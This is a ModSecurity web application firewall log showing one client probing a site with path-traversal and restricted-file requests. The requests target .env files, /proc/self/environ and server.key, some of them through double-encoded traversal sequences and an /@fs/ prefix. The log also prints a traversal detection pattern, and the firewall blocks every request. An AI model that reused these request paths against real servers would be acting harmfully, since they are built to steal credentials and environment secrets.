[Mon Oct 26 07:29:18.643434 2026] [security2:error] [pid 3023415:tid 3023415] [client 34.19.176.196:37952] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/server.key"] [unique_id "at85jlpPztySgmrAFx5-DQAAACk"]
[Mon Oct 26 07:29:18.644440 2026] [security2:error] [pid 3023412:tid 3023412] [client 34.19.176.196:37796] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at85jr7T9Q5pRrH_j90ZmwAAACQ"]
[Mon Oct 26 07:29:18.644499 2026] [security2:error] [pid 3023412:tid 3023412] [client 34.19.176.196:37796] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at85jr7T9Q5pRrH_j90ZmwAAACQ"]
[Mon Oct 26 07:29:18.644528 2026] [security2:error] [pid 3023412:tid 3023412] [client 34.19.176.196:37796] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at85jr7T9Q5pRrH_j90ZmwAAACQ"]
[Mon Oct 26 07:29:18.644604 2026] [security2:error] [pid 3023412:tid 3023412] [client 34.19.176.196:37796] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at85jr7T9Q5pRrH_j90ZmwAAACQ"]
[Mon Oct 26 07:29:18.645035 2026] [security2:error] [pid 3023412:tid 3023412] [client 34.19.176.196:37796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at85jr7T9Q5pRrH_j90ZmwAAACQ"]
[Mon Oct 26 07:29:18.645315 2026] [security2:error] [pid 3023412:tid 3023412] [client 34.19.176.196:37796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at85jr7T9Q5pRrH_j90ZmwAAACQ"]
[Mon Oct 26 07:29:18.650353 2026] [security2:error] [pid 3023394:tid 3023394] [client 34.19.176.196:37806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at85jigqq3CRmBohYLhooAAAABs"]
[Mon Oct 26 07:29:18.650705 2026] [security2:error] [pid 3023394:tid 3023394] [client 34.19.176.196:37806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at85jigqq3CRmBohYLhooAAAABs"]
[Mon Oct 26 07:29:18.650940 2026] [security2:error] [pid 3023394:tid 3023394] [client 34.19.176.196:37806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at85jigqq3CRmBohYLhooAAAABs"]
[Mon Oct 26 07:29:18.652476 2026] [security2:error] [pid 3023421:tid 3023421] [client 34.19.176.196:37864] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at85jqAsFWOHjjgw1_PRUAAAADA"]
[Mon Oct 26 07:29:18.653032 2026] [security2:error] [pid 3023421:tid 3023421] [client 34.19.176.196:37864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at85jqAsFWOHjjgw1_PRUAAAADA"]
[Mon Oct 26 07:29:18.653372 2026] [security2:error] [pid 3023421:tid 3023421] [client 34.19.176.196:37864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at85jqAsFWOHjjgw1_PRUAAAADA"]
[Mon Oct 26 07:29:18.735308 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37804] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at85jtllH_J00GQzpNGhZAAAABg"]
[Mon Oct 26 07:29:18.735815 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37804] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at85jtllH_J00GQzpNGhZAAAABg"]
[Mon Oct 26 07:29:18.736201 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37804] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at85jtllH_J00GQzpNGhZAAAABg"]
[Mon Oct 26 07:29:18.739780 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at85jmr0p85NPswPKocFSwAAACA"]
[Mon Oct 26 07:29:18.740104 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at85jmr0p85NPswPKocFSwAAACA"]
[Mon Oct 26 07:29:18.740317 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at85jmr0p85NPswPKocFSwAAACA"]
[Mon Oct 26 07:29:18.960016 2026] [security2:error] [pid 3023411:tid 3023411] [client 34.19.176.196:37888] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at85jicjAQpeTLq_I8cXCwAAACM"]
[Mon Oct 26 07:29:18.960136 2026] [security2:error] [pid 3023411:tid 3023411] [client 34.19.176.196:37888] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at85jicjAQpeTLq_I8cXCwAAACM"]
[Mon Oct 26 07:29:18.960199 2026] [security2:error] [pid 3023411:tid 3023411] [client 34.19.176.196:37888] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at85jicjAQpeTLq_I8cXCwAAACM"]
[Mon Oct 26 07:29:18.960734 2026] [security2:error] [pid 3023411:tid 3023411] [client 34.19.176.196:37888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at85jicjAQpeTLq_I8cXCwAAACM"]
[Mon Oct 26 07:29:18.961149 2026] [security2:error] [pid 3023411:tid 3023411] [client 34.19.176.196:37888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at85jicjAQpeTLq_I8cXCwAAACM"]
[Mon Oct 26 07:29:19.229371 2026] [security2:error] [pid 3023420:tid 3023420] [client 34.19.176.196:37912] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at85j5JSZp6lHf5caX2TnQAAAC8"]
[Mon Oct 26 07:29:19.230010 2026] [security2:error] [pid 3023420:tid 3023420] [client 34.19.176.196:37912] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at85j5JSZp6lHf5caX2TnQAAAC8"]
[Mon Oct 26 07:29:19.230303 2026] [security2:error] [pid 3023420:tid 3023420] [client 34.19.176.196:37912] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at85j5JSZp6lHf5caX2TnQAAAC8"]
[Mon Oct 26 07:29:19.249154 2026] [security2:error] [pid 3023411:tid 3023411] [client 34.19.176.196:37888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at85jycjAQpeTLq_I8cXDAAAACM"]
[Mon Oct 26 07:29:19.249313 2026] [security2:error] [pid 3023411:tid 3023411] [client 34.19.176.196:37888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at85jycjAQpeTLq_I8cXDAAAACM"]
[Mon Oct 26 07:29:19.249532 2026] [security2:error] [pid 3023411:tid 3023411] [client 34.19.176.196:37888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at85jycjAQpeTLq_I8cXDAAAACM"]
[Mon Oct 26 07:29:19.376945 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37804] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at85j9llH_J00GQzpNGhZQAAABg"]
[Mon Oct 26 07:29:19.377509 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37804] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at85j9llH_J00GQzpNGhZQAAABg"]
[Mon Oct 26 07:29:19.377785 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37804] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at85j9llH_J00GQzpNGhZQAAABg"]
[Mon Oct 26 07:29:19.469168 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/api"] [unique_id "at85j2r0p85NPswPKocFTAAAACA"]
[Mon Oct 26 07:29:19.469635 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api"] [unique_id "at85j2r0p85NPswPKocFTAAAACA"]
[Mon Oct 26 07:29:19.470033 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api"] [unique_id "at85j2r0p85NPswPKocFTAAAACA"]
[Mon Oct 26 07:29:19.903764 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/api"] [unique_id "at85j2r0p85NPswPKocFTQAAACA"]
